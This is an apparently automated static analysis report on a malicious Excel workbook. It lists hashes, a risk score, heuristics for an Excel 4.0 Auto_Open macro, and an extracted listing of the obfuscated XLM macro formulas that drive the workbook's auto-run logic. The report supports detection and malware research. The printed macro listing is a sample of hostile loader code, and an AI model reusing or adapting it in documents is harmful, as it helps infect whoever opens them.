Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a44087dca3184da…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:02 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: e0de1074bb7b3c5ab359511ad2502753 SHA-1: 325e20999611e694e92e412b04bbc120c3382bdb SHA-256: 5a44087dca3184da804aedd6cb14cb99a928c9cf17f858d58067e5d35d1a3fa4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6585 bytes
SHA-256: 35cf4be46059ab52ec95c3f74eaa2cb519e60159f8fddad0ecd8a190ed9e57c7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uQg
' 0018     22 LABEL : Cell Value, String Constant - ALlPiUl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D171 
' 0018     26 LABEL : Cell Value, String Constant - CpYTBIftpvG len=0 
' 0018     27 LABEL : Cell Value, String Constant - gSkMHebVhQiv len=0 
' 0018     22 LABEL : Cell Value, String Constant - IqeEeaN len=0 
' 0018     24 LABEL : Cell Value, String Constant - KfGOicxbe len=0 
' 0018     22 LABEL : Cell Value, String Constant - lvoxUiH len=0 
' 0018     20 LABEL : Cell Value, String Constant - MXHOa len=0 
' 0018     25 LABEL : Cell Value, String Constant - nrlEzSTdQe len=0 
' 0018     22 LABEL : Cell Value, String Constant - NTYdsbV len=0 
' 0018     22 LABEL : Cell Value, String Constant - ObSektH len=0 
' 0018     20 LABEL : Cell Value, String Constant - pCzBv len=0 
' 0018     22 LABEL : Cell Value, String Constant - pEFGIdN len=0 
' 0018     26 LABEL : Cell Value, String Constant - SHGQkAPSRgw len=0 
' 0018     27 LABEL : Cell Value, String Constant - uIFJZvDGMWeD len=0 
' 0018     23 LABEL : Cell Value, String Constant - WHbOfSnI len=0 
' 0018     25 LABEL : Cell Value, String Constant - wwhTLRTzeY len=0 
' 0018     21 LABEL : Cell Value, String Constant - YJjGHO len=0 
' 0018     22 LABEL : Cell Value, String Constant - ylFXZng len=0 
' 0018     20 LABEL : Cell Value, String Constant - yzSMW len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZKKIybLoN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uQg,Q85,"",400.00000000000000000000
'  uQg,D86,"SET.NAME("ZKKIybLoN",0+VALUE("0"))",""
'  uQg,Q86,"",-642.00000000000000000000
'  uQg,Q87,"",-900.00000000000000000000
'  uQg,Q88,"",-556.00000000000000000000
'  uQg,D89,"SET.NAME("yzSMW",ZKKIybLoN)",""
'  uQg,Q89,"",-639.00000000000000000000
'  uQg,Q90,"",-310.00000000000000000000
'  uQg,D93,"SET.NAME("MXHOa",ZKKIybLoN)",""
'  uQg,D95,"SET.NAME("wwhTLRTzeY",COUNTA(uIFJZvDGMWeD))",""
'  uQg,D97,"SET.NAME("YJjGHO",COUNTA(ylFXZng))",""
'  uQg,D99,[],""
'  uQg,D104,"SET.NAME("lvoxUiH","")",""
'  uQg,D107,"yzSMW",""
'  uQg,D109,"SET.NAME("nrlEzSTdQe",HLOOKUP("*",uIFJZvDGMWeD,yzSMW,FALSE))",""
'  uQg,D113,"pCzBv",""
'  uQg,D115,"SET.NAME("NTYdsbV",ZKKIybLoN)",""
'  uQg,D117,[],""
'  uQg,D120,"NTYdsbV",""
'  uQg,D123,"IqeEeaN",""
'  uQg,D127,"gSkMHebVhQiv",""
'  uQg,D132,"ALlPiUl",""
'  uQg,D136,"SET.NAME("WHbOfSnI",VALUE(HLOOKUP("*",ylFXZng,ALlPiUl,FALSE)))",""
'  uQg,D140,"SHGQkAPSRgw",""
'  uQg,D142,"lvoxUiH",""
'  uQg,D145,"MXHOa",""
'  uQg,D148,NEXT(),""
'  uQg,D151,"CpYTBIftpvG",""
'  uQg,D156,[],""
'  uQg,D159,"ObSektH",""
'  uQg,D163,NEXT(),""
'  uQg,D166,RETURN(),""
'  uQg,D197,"SET.NAME("pEFGIdN",D86)",""
'  uQg,D200,"uIFJZvDGMWeD",""
'  uQg,D204,"SET.NAME("ylFXZng",R90C13)",""
'  uQg,D209,"SET.NAME("ObSektH",215)",""
'  uQg,D212,"SET.NAME("KfGOicxbe",4)",""
'  uQg,D214,pEFGIdN(),""
'  uQg,D215,HALT(),""

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